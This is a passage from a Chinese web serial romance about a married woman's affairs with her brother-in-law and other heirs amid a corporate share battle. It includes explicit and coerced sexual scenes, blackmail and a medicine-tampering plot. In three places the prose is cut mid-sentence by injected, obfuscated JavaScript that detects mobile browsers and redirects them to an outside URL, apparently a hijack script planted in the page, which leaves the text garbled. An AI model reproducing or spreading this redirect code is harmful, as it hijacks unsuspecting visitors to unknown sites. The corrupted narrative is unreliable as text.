“就知道做,”廖爱珠不耐烦推开人。三天前她把覃原祺的事告诉许怡宸,这货瘸子腿上猛敲棍,第一反应居然是反正已经被艹了,那他也要跟她打一炮。廖爱珠要不是有事求他绝对当场给他一个大耳刮子。被人占便宜这事就不能跟男人说,一个个全是绕屎飞的苍蝇。 “我找你谈正事。” “我们这种富贵闲人就别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“娶你就不怂了是不是?” “神经病。”她伸手掐他,把许怡宸胳膊掐的一个又一个红印,“再说一个。” 许怡宸也不说话就这么定定站在那由着她。掐着掐着两人渐渐变了味,手上力道也轻得挠痒似的,廖爱珠嗔怨:“到底帮不帮我?” 出口的话立马被对方吞进嘴,连带舌头都染上一股咖啡焦香。嘴唇轻咬舔舐,这次廖爱珠不再抗拒,让舌头驾轻就熟探入口中勾缠打转。 两人一时吻得忘情,许怡宸双手环住她的腰,舌尖来回在她耳垂舔舐,“不找你老公出头找我?我算你什么人,你说。” 廖爱珠侧头躲开,下一秒吻又滑到别处。 他们对对方的敏感点熟门熟路。两人是彼此在好奇心和精力最旺盛时期的探索对象,见证了互相青春稚嫩的美好岁月。 “结这个破婚让你受多少委屈。” “你就靠一张嘴,让你帮忙你又不帮。” “小打小闹多没意思……” 许怡宸不知餍足地在廖爱珠白腻的皮肤上啃吻,又像羽毛一样来回撩搔。清淡香水味在升腾的温度下带了一丝甜腻。廖爱珠的口红被蹭掉大半,露出原本饱满淡粉色的红唇,她紧握双手做最后的推拒,失神的模样让许怡宸想起两人厮混的那段日子。 那时许怡宸觉得廖爱珠一定会嫁给自己。 “你知道我最后悔的是什么吗?”他在廖爱珠耳边呢喃。 “别说了。” “爱珠。” “许怡宸,你又不叫姐。”廖爱珠不想再跟他废话,“后悔有用吗?再来一次你一样不会选我,我也一样不会选你。” 他们什么德行互相知根知底。欢愉不过是建立在暂时的利益之上。正是因为彼此心照不宣,廖爱珠才放心跟他在一起。否则一个连丁点指甲盖家产都继承不了的小儿子,怎么可能入她的眼?廖爱珠就是选他肥头大耳的哥也不会选许怡宸。 “你怎么知道我不会?”许怡宸松开手,转而扣住她双肩。 外面有人敲门,打断了两人谈话。廖爱珠慌慌张张要去开门被许怡宸拦住伸手比个嘘的姿势,等了好半天外面没有动静两人才前后脚从办公室出来。刚一开门便迎面撞上人抱着胳膊看向她笑吟吟问:“嫂子,今天怎么想起来公司了?” 4. 入局 “你,你怎么在这?” 覃原祺一身灰黑色粗纺羊毛西装像个硬邦邦的大铁块堵在门前,饶有兴致看着廖爱珠吓得连句完整话都说不利索。 楼上会议例行公事汇报工作,他忙里偷闲过来享受一把猫抓耗子的趣味。 “来公司喝杯茶而已,没想到覃总居然能顺着味找过来。”咔哒的金属撞击声回荡在走廊,许怡宸倚在门边摆弄打火机。 覃原祺闻言视线缓缓向上,目光聚焦廖爱珠身后霎时变得阴沉,冷冷开口:“廖爱珠,管好你的狗。” 响声停止,许怡宸抬头,锐利火焰腾空窜起。 覃许两家父辈关系不错,但老一辈交情再好也与小辈无关。集团几十年间风风雨雨经历了太多,老的看在往昔情分没撕破脸,小的一个个唯我独尊谁也不服谁,早等着机会把对方掀翻。 “我说……”廖爱珠还来不及插话,走廊的动静已经引得办公区有人探头探脑张望。 覃原祺侧身朝远处投去警告眼神,等回身看见人被许怡宸拖到身后,立刻冲着对面不耐烦道:“许怡宸,这没你的事。” “覃总,光天化日你想干什么?”许怡宸一副娘家人的做派,“我姐嫁进覃家可不是去受委屈的。” 他话里有话,覃原祺立刻反应过来,歪头抱着胳膊冲廖爱珠打趣:“你都告诉他了?为了商量怎么对付我?” 都是千年的狐狸,平日高高挂起的人突然横插一手,动机不言而喻。覃原祺话锋一转问道:“楼上开会,你在这里凑热闹不丢人吗?” 许怡宸笑着回敬:“覃总,想去也要有人给我开门啊!” 他进公司这几年一直努力挤进决策层,奈何许董不让他接班,给许怡宸的就两条路,要么给他哥打下手要么就自己出去单打独斗。 “我给你开门够格吗?”话一出口,廖许两人露出诧异神色,头顶空调口嗡地喷出一股冷气直灌天灵盖让人猛地清醒。 覃原祺低头理了理衣服,微扬下巴恢复了一贯优雅做派,“本来想找你单独谈,不过择日不如撞日,现在说了也好。” 原本剑拔弩张的气氛一下子变得诡谲,许怡宸站在原地一动不动,连一向散漫不羁的神情也收敛起来,正色道:“覃总说话算话。” 覃原祺反问:“人事调动方案就在我哥桌上,进里面没顺便瞧瞧?” 楼上传来争吵,晨会上战火纷飞已是集团常态。当企业扩张到一定程度就不能再用传统的经营方式去思考,帝国之下各自为营,只有永远的利益没有永远的敌人。 刚入职的接待员不知道被哪个老油条怂恿端着茶水畏畏缩缩站在拐角不敢上前,覃原祺冲那处瞟一眼,轻飘飘说了句:“滚。” 片刻,过道上只剩下他和廖爱珠。 灰白墙壁与玻璃磨砂幕墙搭建的四方空间被冷气灌入显得逼仄又空旷。 解决了烦人的苍蝇,覃原祺志得意满迫近前方。廖爱珠退后半步,双手挡在身前颤抖道:“我俩没什么好说的吧?” 她望着即将压上来的身影转身逃跑。可惜尖叫还未来得及出口便被关在门内,廖爱珠使出浑身力气也挣脱不开环在腰间的手臂,身子一甩被压在墙上动弹不得,覃原祺贴在她耳边说:“开会太无聊,下来找点乐子。” 如今高层出入公司全部都需要向他汇报,廖爱珠的车一进大门他就收到了消息,会开到一半便忍不住下来找人。 廖爱珠张口,未来得及骂出的脏话让横冲直撞的吻堵在唇齿间。 蛮横的力道使廖爱珠头皮发麻,覃原祺扣住她下颌,捏住捶打的手被死死按在胸膛肆无忌惮深吻着,睚眦必报将每一次受到的攻击以同等刺激还施彼身,用尽技巧挑逗对方沉溺快感。吻嚣张挑逗唇舌,滚烫气息喷在皮肤,急促有力的心跳每一下都清楚传递到廖爱珠的掌心,让她逐渐恍惚。 “刚才许怡宸也这么亲你来着?” 一声呻吟不自觉从喉间发出。 “是不是?” 廖爱珠习惯性否认:“唔……没有,你放开我。” 回应她的又是吻,深而急切,迫不及待地勾着想得到回应。廖爱珠躲开,吻就缠人地落在脸颊,耳根,脖子。 “撒谎,口红都蹭掉了。” 吻渐渐变得缠绵,钳住下颌的手也转而温柔抚摸她鬓边,紧贴的身躯让廖爱珠清晰感受到对方昂扬的变化瞬间恢复理智。 “你哥该回来了。” 覃原祺留恋不舍在她锁骨间亲吻着,“那去我车里。” “滚。” “再做一次就不缠你了。” 巨大的力道压在廖爱珠身上,眼见对面又要硬来,她使出浑身力气推拒,“赶紧放开。” 覃原祺压住她双手质问:“那你告诉我和许怡宸什么时候开始的?” “关你屁事。” “廖爱珠。” 廖爱珠侧头咬上他手臂,牙齿深深陷进皮肉几乎咬出血来。覃原祺由着她咬,等人咬得腮帮子发酸松口,才看了眼手臂上深深的牙印道:“你这点伎俩,小心折腾半天把自己端上桌。” 覃家当初选廖爱珠做媳妇就是看中了她人美脑子蠢好控制,做什么事全在意料之中。她这点能耐对覃原祺犹如消遣小游戏,闲下来时玩一把,看着廖爱珠在自己手中被搓圆捏扁简直是莫大的放松。 “彼此彼此。” 对面那张漂亮脸蛋此刻已经恨得憋出五颜六色,廖爱珠推开人一屁股坐在沙发上,想了会又阴阳怪气:“你就欺负我厉害。瞎了眼养头狼在身边还以为自己多能耐呢!” 覃原祺明白她指什么,随手一拨桌上撞球摆件心情颇好解释:“我有用得着他的地方。”他背过身眺望窗外,远处高楼摩天碍日,争抢着穿破云霄,“我打算和许家抢金融板块。” 这件事最好的合作对象其实是程励娥,不过现实远比小说复杂,想成事也讲究天时地利,程励娥不想蹚浑水,他便退而求其次让许怡宸上位,毕竟自家人打自家人才知道哪是痛处。 廖爱珠听罢气不打一处来,覃原祺宁愿找外人也不找亲哥合作。自从覃董决定了接班人后,覃原路就在集团逐渐边缘化。覃家兄弟俩如今能维持还算平和的关系那都是靠覃原路不断忍让换来的。 见她神色不对,覃原祺问道:“怎么?我拉你弟上来你不高兴?” “他算我哪门子弟弟?” “这时候又撇清关系了?”话题又绕到许怡宸身上,廖爱珠明显不想多说,可对面不知抽哪门子疯要打破砂锅问到底,“和他上过床没有?做了几次? ” 一只高跟鞋咻地擦着覃原祺的脸飞过,他一愣,失笑看着对面一跳一跳地准备脱另一只扔过来,“怎么,勾起你不好的回忆吗?” “你有病吧!”廖爱珠光脚站在地上又把另一只鞋甩过去。事到如今她在覃家连最基本的体面也维持不住。都说大家族里夫妻一体同心,太太的待遇代表着丈夫的地位。当初她以为长子会接手家业才嫁给覃原路,如今自己选的老公不仅事业不成,连房事也不支棱,让她有苦没处说。一切的根源都在覃原祺。 “你就那么想知道那点逼事是不是?好哇我告诉你——”廖爱珠破罐破摔,“嫁给你哥前一晚我和许怡宸一整天都在□□,差点把婚纱都扯破了!” 她放声大喊:“你们姓覃的没一个好东西!” 覃原祺敛容厉色,猛地扯住廖爱珠拉到自己跟前。 “覃原祺,你不要以为没人能治你。” 四目相视,双方瞳仁中翻涌的情绪都在叫嚣着要将对方吞噬。覃原祺看着对面恨不得咬死自己的样子,慢慢俯下身脸贴在廖爱珠耳边轻声说:“你好像没搞清楚状况。” “什么?” 会议进入尾声,楼上打来电话催促,他按掉手机,拇指压在那饱满的唇上,对廖爱珠说:“咱们走着瞧。” * 周末,覃家所有人回覃宅吃饭,覃原祺迟迟未到。覃老爷子饭后身体抱恙,医生来看了两眼让立刻去医院做检查。 覃家忙前忙后折腾到半夜,最后覃原路留在医院让女人们先回家休息。 廖爱珠心神不宁,临睡前坐在床上发呆等着泡澡。 浴室里放着缠绵的音乐,伴着蒸汽缭绕整个空间。一阵冷风吹进屋内,她裹紧浴袍走到窗边,还没伸手便让窗口爬进来的人吓得差点尖叫。 “你疯了是不是?!” 覃原祺麻利翻窗进屋,冷风呼啸灌进室内将雾气吹散,他一把脱掉沾满泥污的衬衫扔在地上。两人自上次之后便没有这样单独相处,他们各站在屋子一侧打量对方,覃原祺率先摊开手问对面:“嫂子,这下你满意了?” 没头没尾的话让廖爱珠眼神躲闪,正要开口时,屋外隐隐传来窸窣脚步声。她攥紧袖口强撑气势:“你再不走我喊人了!” 佣人听见动静来到房门外询问,覃原祺一把按住门,悄声说道:“敢把门打开试试。”说罢收手退到一边。僵持片刻,最终廖爱珠开口说了句没事又将人打发走。 等外面彻底安静覃原祺才朝廖爱珠走去,“让人半道拦车是你交待做的吗?”他如这间屋子的主人般堂而皇之将她逼至墙角,“找人撅我一顿是吧?亏你想得出来。” 上次在廖爱珠的央求下许怡宸还是给了一个电话。不过她不知道的是这伙人也认识覃原祺。廖爱珠刚挂电话,那头马上通风报信,交待的话一字不漏全部转述给了正主。 廖爱珠听完一笑,丝毫没有事情败露之后的慌张反问对面:“那你挨撅了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488393|202121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出来让我高兴高兴。” 覃原祺能活蹦乱跳找过来就说明没事,这点手段就跟摔炮一样听个响罢了。廖爱珠门儿清许怡宸那货只是为了哄她玩,不过能让覃原祺出点洋相她心里还是解气的。 “当然没有,要撅也是你来撅。”覃原祺说罢目光贪婪下流地盯着她的身体,扬起唇角问,“这回消气了吗?”他如果不想,那帮人动不了他分毫,唯一能让覃原祺心甘情愿挨揍的理由只有一个。 “你什么意思?”廖爱珠问。 “你好蠢。”一滴汗顺着覃原祺颈间滑至胸肌最后没入腹间,急促的呼吸带动胸膛起伏。拉扯许久如今终于要收网,他就像一头野兽蓄势待发来一场酣畅淋漓的较量。覃原祺双臂一撑彻底将人困在死角,对廖爱珠进行最后的围猎,“我想要你。” 廖爱珠哈哈大笑,直接啐他一口。 覃原祺也笑了,他不打没把握的仗,没有足够筹码他怎么会登堂入室提出要求。笑声戛然而止,廖爱珠板起脸警觉看向对面,果然覃原祺又接着说:“你比想象中胃口大。”他俯身靠近廖爱珠刮一下她的鼻梁宠溺道,“一点也不聪明,心眼还这么坏。你猜我从你身上都查到什么?” “你有屁就放。”此时廖爱珠不想再与他周旋,她拢了拢衣服想推开人,但覃原祺一动不动,这一次不再让她逃脱,“给我爸换药的事是谁的主意?” 这句话犹如惊雷让廖爱珠瞬间滞住,下一秒她低声喝道:“我不知道你在说什么?” 覃老爷子有几款常吃的药一直从海外购买。半个月前,采购人员发生变动,而覃家家政一直由覃源的物业公司安排,也就是覃原祺的老婆刘纯在负责这件事。 换药迟早会被发现,想杀人用这种方法是最愚蠢的行为,但是嫁祸就不一样了。试问覃源董事长死了谁会能获益最多? “挑拨离间用得可真妙。”覃原祺也没想到廖爱珠会给他来这么一个大杀招。想人前显贵,首先要让覃原路在集团里站稳脚跟。这件事算是给覃老爷子心里结个疙瘩,从而在根上撬动了覃原祺的蛋糕。这才是廖爱珠的真正目的。“事情如果让我爸知道,覃源以后由谁接班就难讲了。你心里打的是这个算盘吧?” 当然,比起覃原祺,下场更惨的绝对是廖爱珠。因为事情一旦查到她头上,被扒层皮都算轻的。财产或许交不到覃原祺手中,但覃原路和廖爱珠绝对会倾家荡产被踢出覃家。这一点廖爱珠比谁都清楚,“我不知道你云里雾里说什么但凡事要讲证据,爸现在还在医院,你这样说是什么居心?” “居心?呵,宝贝你换的药都在我手里,还有你找的人,你的聊天记录。咱们打开天窗说亮话——”覃原祺捏住她下巴轻轻一晃,“发生什么大家心知肚明,事情怎么处理要看你的态度。”覃原祺说完一眨不眨盯着对方,在谈判手段上他深得他爸真传,对付廖爱珠随便都能将她虐出花来。现在的僵持对两人来说是一方享受另一方的恐惧。覃原祺在心里倒计时,他在赌,赌的是廖爱珠到底几分钟之内会彻底投降。 密不透风的注视之下廖爱珠终于被击溃心里防线。 她呜咽一声瞬间换了副面孔,“……我不是故意的。”廖爱珠终究不敢赌对方手里的证据,因为这件事就是她做的,只要捅到老爷子那必定会找到蛛丝马迹。 她双腿瘫软扑进覃原祺怀中瑟瑟发抖求饶:“我错了我错了,其实打完电话我就后悔了。”如今廖爱珠也不再故作矜持,让覃原祺握住这么大把柄,对方就是把她艹烂,自己也不敢吭一声。 她伸手去摸覃原祺脸颊上的淤青颤抖着声音又慌忙辩解,“我没想害死爸。我是一时糊涂了信了别人……”对面目光跟随她的手垂眸,听见廖爱珠这样狡辩哑然失笑。 沉默良久,覃原祺直起身俯视廖爱珠跪在他腿边,宽大的手掌抚摸她细嫩的脸庞上不断渗出的恐惧,“放心,我不会说的,你知道为什么吗?” 廖爱珠噙着眼泪,楚楚可怜的模样足以让任何男人心生怜惜,“为什么?” 覃原祺用食指触碰她的眼眶将含在里面的泪接下来。水滴顺着皮肤滑落,啪嗒一声掉在地上。他的手掌扣在廖爱珠脸颊上,拇指碾着她饱满朱唇,又如蟒蛇一般气势汹汹探入口中。 “我爱你。”覃原祺说。 这一次他说的没有婚礼上那么随意。 廖爱珠的表情从茫然到慌乱最后闭上眼。我爱你,这句话犹如解药,让她迫不及待吞下。 有爱才能让一切的强迫威胁都顺理成章,也让威胁之下的欲望滋养膨胀。 覃原祺太清楚她要的是什么。 下一秒他将人打横抱起走进浴室,廖爱珠腰间绳带被彻底解开。 覃原祺说:“打也打了,总不能让我白挨一顿打。” 5. 马场互殴 此刻的覃宅前所未有的宁静。屋外雨水拍打玻璃,为干燥温暖的室内平添几分情趣。 鸡汤已经凉透,但被子下的躯体正火热滚烫。 “嘶……轻点。” 覃原祺平时在床上话不多,但总能惹得廖爱珠死去活来,和他一起得到的享受是极致的,不然两人也不会纠缠到今天。 空间里回荡着笑声和絮语。一呼一吸间嘴唇被吻磨破,血腥味沿舌尖蔓延,又发酵出暧昧的热气坠成水滴,翻涌云情雨意。 昏黑中斜风打在玻璃上啪啪作响,窗外的雨模糊了月光…… 完事之后,覃原祺坐起来穿衣,廖爱珠瘫软在床拿脚趾戳他后背懒懒地问:“你怎么了?” 覃原祺这两天总是很暴躁,明明大权在握却丝毫不见意气风发,反倒像只囚笼里的困兽。 领口一颗扣子未系,两只白白的胳膊从身后搭上他肩膀。廖爱珠环绕他将扣子扣好,头抵在宽阔的肩上蹙眉埋怨:“我可没惹你。” “没惹吗?” 雨珠歪歪斜斜划开一室旖旎。 覃原祺站起身,走到床的另一侧从被褥间抽出暗纹领带利落缠在手中,沉声问:“酒店那事不是第一回了吧?”他不等廖爱珠答话,用力抓起她的手腕追问,“这几年你到底睡过几个男的?” 廖爱珠一愣,面对追问转头裹着被子倒回床上,不耐烦道:“怎么又提这茬?!” 床伴之间谈论睡过几个人并非禁忌话题,完事之后廖爱珠还挺愿意聊这些沾荤带腥的事。只不过以覃原祺的性格谈论这事必定不能愉快收场,所以她绝不会傻傻和他交底。 覃原祺不依不饶将人拽起来继续逼问:“我问你在外面还养了几个小白脸?” 他的脸色越来越难看,面对质问廖爱珠支支吾吾眼神闪烁,随后坐在床上撇过头缄默不语。 这话她没法回答,因为太多了。 以她和覃原祺在一起为界点,无论是之前还是之后都多的数不过来。自己只有刚嫁进覃家最初那一年性生活空白,往后被覃原祺打破道德底线就彻底放飞。反正她和覃原路无论是生活实质还是法律层面上都不算夫妻,索性就新欢旧爱全部搞起来,间隙再打打野食丰富日常生活。 见人不做声,覃原祺作势要查手机,廖爱珠赶紧扑上去护住。这副样子更加重了覃原祺的疑心,他掰住她手腕将人扯到跟前狠狠瞪着廖爱珠,“你心虚什么?” “谁心虚了?就是不想给你看。”廖爱珠一边抢手机一边骂,“你神经呀!爽完了审开始审我,你怎么不吃饱了审厨子?” 两人扭打作一团,争夺间手机摔地上磕亮屏幕。廖爱珠瞥一眼大喜过望,赶紧捡起来晃晃手机说:“你哥发消息说一会回来。” 覃原路白天去山里接风水师傅,赶巧大师有事去了南湖市附近的一个村子,原本一天的路程缩短到半天,一去一回晚上到家。 关键时候还是老公能救命,廖爱珠着急忙慌收拾,心里美滋滋恨不得顺着wifi亲两口覃原路。 “老公回来啦!”她头一次体会到家里队友是那么让人省心,怪不得男人们总说娶妻当娶贤,其实嫁人又何尝不是呢?覃原路除了不艹她一切堪称完美,而且这个小小的缺点又算得了什么,难道和尚不梳头还不兴别人买梳子。 覃原祺理了理衬衫从椅子上的西装口袋里掏出烟点燃,看着廖爱珠走来走去收拾东西突然说:“是现在老实交代我放你一马,还是等查出来我到时弄死你。” 这威胁对廖爱珠不顶用,那一长串名单别说覃原祺,她自己看了都要骂一句□□。让覃原祺查还能赌一线生机,自己老实交代必死无疑。 “你弄你弄,让你哥回来看见我死你身上你就高兴了是吧?”廖爱珠弯腰捡毛巾,撅着屁股回嘴,“要审也是你哥审。我俩什么关系?你一个睡嫂子的货凭什么弄死我?我死也要拉你当垫背。” 话说完她又觉得话有些过火怕覃原祺现在就要弄死她,廖爱珠赶紧打一巴掌给个甜枣又哄:“你也别揪着那些没影的事不放了。寿宴那天我只是喝多了一时兴起,我喝醉什么样你不是最清楚?” 这话在敲打覃原祺,当初两人在一起并不是你情我愿,要是细算他也理亏。 覃原祺不想逼得太紧,毕竟两人的事算不得光彩。可早几年老爷子不肯放权让他无法在集团尽早部署,如今局面动荡,他必须尽快接手父亲的权力稳住大局,而唯一的捷径便是得到廖家助力。只有确定与廖爱珠的关系,他才有底气施展拳脚。 楼下传来响动。 “今天放你一马。”覃原祺起身打开房门,“但是,离婚的事三个月之内不跟我哥谈妥,我就出面帮你亲自谈。” 他阴沉着脸警告廖爱珠:“以后再敢出去招猫逗狗看我怎么收拾你。” 廖爱珠嬉皮笑脸应和,人一走收敛神情瘫坐在床上。 * 翌日,覃原祺专门去了一趟马场找许怡宸。 场地上一人一马的矫健身影越过障碍朝场边奔来。 许怡宸这两天日子过得堪称逍遥。董事长一死集团的老帮菜们甩都不甩覃原祺,各路人马踏破许家门槛大唱黄袍加身的猴戏,让他在旁看了不少热闹。 清晨空气潮润,马蹄子踏出一串水雾溅得四处都是。许怡宸熟练拉动缰绳伫立在覃原祺面前打趣:“哟,您这时候跑出来合适吗?不会是专门来找我的吧?” 覃原祺没有作声,目光扫过身侧的瞬间,右手突然从靴子里抽出马鞭一下甩在他的马屁股上。黑马受惊,长长鸣叫一声撅起蹄子,许怡宸赶紧拽住缰绳原地打转骂道:“你他妈的有病啊!” 不远处一匹灰马小跑上前。覃原祺翻身跃马,双腿轻轻一夹调转方向,与许怡宸的马相对而立。“骑的不错,和廖爱珠来骑过吗?” 覃原祺不爱骑马,平时只有应酬才装模作样骑两圈,这时候跑来不用想都知道没憋好屁。 察觉来者不善,黑马打了个响鼻,甩了甩鬃毛,蹄子咯哒咯哒在地上焦躁刨土。 半晌,许怡宸颔首勾唇,一双桃花眼盯着对面得意洋洋道:“骑过,她在我身上骑。” 马的嘶鸣声远远地飘到场地另一侧。马场的人眼观鼻鼻观心扛着马具从旁路过,识相为二人辟出一块清净空间。 “给你脸了是吧?”覃原祺的话几乎从牙缝里碾出。 二人彻底不装,浑身散发浓浓的火药味随时准备交锋。 覃原祺扬起马鞭。这回许怡宸淡定拉扯缰绳躲开,转身反踹在他的马屁股上回击:“谁给谁脸呢!我他妈要不是看我姐的面子上早抽死你丫的。” 话说到这份上再不动手说不过去。两人不多废话,骑着马开始满场干架,拽起地杆从外场一路打进马厩。 围栏里嘶鸣此起彼伏,他们撕扯着摔下马,揪住领子一头撞进空隔间。 覃原祺挥拳把许怡宸揍墙上,狠狠骂道:“逼崽子,这三年你是不是跟她没断过?” 他这次来就是为了收拾许怡宸。以往覃原祺懒得深究廖爱珠跟谁勾搭给自己添堵,不过今时不同往日,想锁住人得到廖家助力,首先要把廖爱珠周围那帮屌屌蛋蛋全部铲掉。 * 另一头,廖爱珠一觉睡醒又出门找乐子。 “喂?宝贝,你家怎么走来着?”电话那头回应她的是一阵狗吠。廖爱珠习以为常,等那边消停下来,随后说道:“给我发个定位。” 对面不应声,过了一会挂断语音发来位置。 和他通话的人是程励娥,她的炮友之一。 此人性格古怪,是覃源全体默认不敢招惹的对象,早几年程董还在的时候多少能治他的疯病。后来程家的人死了就再也没人能管程励娥。 关于这疯子的流言蜚语众说纷纭。 程励娥家中四姐一哥,下面还有一个弟弟。程家这么多人照常理轮不到他继承重要产业,可在五年前程励娥完成学业从国外回来时起家人就一个个发生意外,直至两年前程董离世,程家只剩下程励娥。谁都不敢说程家人的死和他到底有没有关系。 廖爱珠要是早几年认识程励娥绝不敢跟他有任何牵扯。这大概就是命运,有时候她觉得自己像被一双无形的手冥冥中推往未知方向。 车子很快开到地方。 程励娥家位于南湖市中心的一片高档别墅区。那里依山傍水,是程家最早购置的房产之一,程励娥在家人都死了以后就一直住在那。 大门外程励娥的私人助理恭候多时,见到廖爱珠自觉为她拿包拎衣。 深色金属大门缓缓打开,鹅黄的身影从大门镶嵌的不透刚板装饰一闪而过。 廖爱珠摘下墨镜走入室内,一进门便看见程励娥赤裸上身跪趴在客厅中央。 男人听见声音转头冲大门嚎叫,无论神态还是声音都与一只恶犬无异。 “汪汪汪汪汪……” 廖爱珠站在玄关,对于眼前的诡异画面早已见怪不怪,她径直从他身前走过,把墨镜随手放茶几上,一屁股坐在沙发上翘脚看杂志。 铃铛作响,廖爱珠抬眼一扫,见程励娥正戴着铆钉项圈上冲她爬过来,“你不喜欢这样了?” 廖爱珠合上杂志抬头,勾起红唇脚上用力一踩赌气回道:“我什么时候喜欢了?” “不喜欢?”程励娥享受地闭上眼,“别装了,你看见我跪下来明明很爽。” 他俩在一起属于黄鼠狼嫁狐狸骚到一块,那点见不得人的心思双方门清。常常互相骂对方恶心,又彼此享受那点龌龊。 廖爱珠轻哼,双手撑着沙发伸脚逗弄程励娥,手掌陷在驼色皮质沙发压出咯吱响声,像逐渐上紧的发条绷紧程励娥的神经。 “爱珠宝贝。” “恶心。” 见他这么爽,廖爱珠又撕下杂志内页揉成团丢在地上,还未等开口,程励娥便将纸团叼起来又放回她手中。 如此来回几次,廖爱珠俯身抓住项圈将人扯到跟前,纤长的手指插进程励娥柔密的短发捧住他的脑袋说道:“宝贝,演够了入正题吧!” 廖爱珠倾身靠上去,不料程励娥抓住她的手腕阻止了动作,趁她还没反应过来便用大手掐着她的腰把人甩在旁边。 程励娥不紧不慢从茶几下拿出烟点上,展开双臂搭在沙发。半晌,才吐出一条长长的雾团说:“换点新花样,干做没意思。” “没意思就去干你爹□□。”廖爱珠差点赏他一耳光,忍了半天翻个白眼从程励娥指间抢来烟抽一口,吐他一脸二手烟,冷嘲热讽:“跟别人那玩腻了,跑我这找新鲜。有阳痿赶紧治,老娘不缺人伺候。” 香烟捻灭在桌上,雪白的桌面烫出显眼的一个小黑洞。 程励娥伸手捏住她下巴晃了晃解释:“消消气,我的意思是再找一个,好不好?” 这缺德话也就只有他能说得出口,廖爱珠一听当即大骂:“你把我当什么了?享齐人之福的算盘打到我这?” 她穿起衣服要走,被程励娥抱住腰贱兮兮亲着脖子哄道:“宝贝,你享齐人之福总行吧?咱把那酒店开门的找来好不好,让我过把瘾。” 这话听得廖爱珠一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程励娥没留她,把人送到玄关,体贴地为廖爱珠穿上大衣。衣料子刮到腕表,廖爱珠抻抻拽拽穿了半天,鬓角一直在滴汗。程励娥一句话没说,直接伸手帮她将衣服穿好,等人出门口的时候他忽然吊儿郎当问:“真的不行吗?” 廖爱珠抬眼,静了两秒,随后才缓过神来有了表情,瞪眼怒吼道:“滚——” * 马厩里,覃原祺和许怡宸正揪领子互喷。 “当然没断,还如胶似漆呢!” “我让你碰她。”覃原祺一拳撂倒对方。 两人打得毫无形象可言,衣服和脸都蹭得一身泥草。 许怡宸被打倒在地嘴依旧硬得很,“自己没本事看住她还怪别人天赋异禀了!” 覃原祺跨在他身上揪住他领子回敬:“你在廖爱珠眼里就是个工具,当根□□还嘚瑟上了!” 不等落下第二拳,对面反抓住他往旁边一掫将人甩进马粪堆,雨后潮湿空气让马粪味无孔不入,覃原祺彻底暴怒,掏出马鞭啪啪狂抽对方嘴巴子,怒喷:“我让你勾引她,让你勾引她……” 许怡宸虽然体格拼不过但那张嘴无人能敌,一边挡一边大骂:“死爸死妈的玩意儿,睡嫂子你还有理了!有种你娶他呀,说你爱她,你说呀!你敢吗?” 覃原祺也不是吃素的,手里皮鞭抽得啪啪响,不落下风三连问:“你怎么知道我不娶,你敢娶她吗?你当初怎么不娶她?” “少扯我头上,反正娶她的人是你哥。” 外面的人踌躇许久忍不住进来劝架,被两人异口同声吼了句滚又灰溜溜逃跑。隔壁的马被他们的动静吓得不轻,撅蹄子狂踹把门栏踢破跑了出去。混乱中有人被踩了一脚,马厩里外瞬时乱成一片,马场上下此时也顾不得他们赶紧安抚马然后将人送医。 覃原祺和许怡宸见惹出事瞬间老实。两人胜负未分,秉承君子动口不动手的原则又改坐马粪堆上全力输出嘴炮。 “没我你在覃源提鞋都不配。” 许怡宸听到这话反而得意道:“闲的没事多给你家老头上几炷香,陈芝麻烂谷子的事还好意思拿出来说,覃原祺你是真jb废物。” 他能爬上来那是他的本事,商场上互相利用家常便饭,用了还拿出来压人一头那是旧时代无能老登才喜欢干的事。 覃原祺听到这话也不急,精准踩中他命门奚落:“你不废物但你输给废物,而且是打娘胎里注定输给你哥那个大废物。” 许家嫡长子的梗在集团小一辈里当笑话都快讲烂了,偏偏每次说起来许怡宸都没辙,只能铁青着脸在旁边恨得把牙咬碎。 “呵呵,覃原祺你就说吧,说烂也改变不了事实,廖家那点股权到谁手里还不一定呢。”刻薄的话语直戳要害。都是千年的狐狸也不用假模假样玩聊斋。覃原祺找茬早不来晚不来,偏偏这时候打上门,背后什么目的简直是司马昭之心。 如今集团覃许程三家势力各占一方,覃家是大股东算上廖爱珠手里的占有35%的股权,许家从最初15%的股权到如今的34%,如果再有了廖爱珠那5%股份便能踢掉覃家在集团掌握话事权。 “她人是我覃家的,股权也是我覃家给的,少惦记她。” “你该不会以为只有我惦记她吧?”许怡宸笑得猖狂,然后告诉覃原祺,“和她有关系的不止我一个,你跑过来找我麻烦不如先去收拾你小舅子。” 覃原祺的脸色肉眼可见又难看几分,眼睛恶狠狠瞪着虚空仿佛要将廖爱珠碎尸万段。他知道以她的个性绝不可能只睡一个,可当把人一个个挖出来后依然能让他怒火中烧。 “他妈的,还有谁?!” 不待许怡宸接话,他闭上眼平息情绪,开口:“算了,我自己查。” “你真要查?”听他这样说许怡宸忽然起了兴致,情夫捉奸闻所未闻。不过摸底廖爱珠对他来说也是有利无害。反正有事覃原祺顶在前面横竖赖不着他, 6. 温泉修罗场(上) 周末,廖爱珠躺在床上百无聊赖接通程励娥电话。 “爱珠宝贝,你终于接我电话了。” 上次他们不欢而散,彼此挑起的瘾没来得及解,程励娥分开后又软磨硬泡要约着再见一面。 廖爱珠虽已不生气,但见对方态度放软马上硬气起来,在电话那头架势摆得十足。 “呦,我哪敢不接程董您的电话。” “你能有什么不敢的?”程励娥好声好气哄道,“原谅我一回。” “我可不敢说原谅,程董你大人不记小人过放我一马才是。” “爱珠。” 廖爱珠一手支起脑袋侧身嗔怨:“叫我小廖。” “那你叫我大料。” 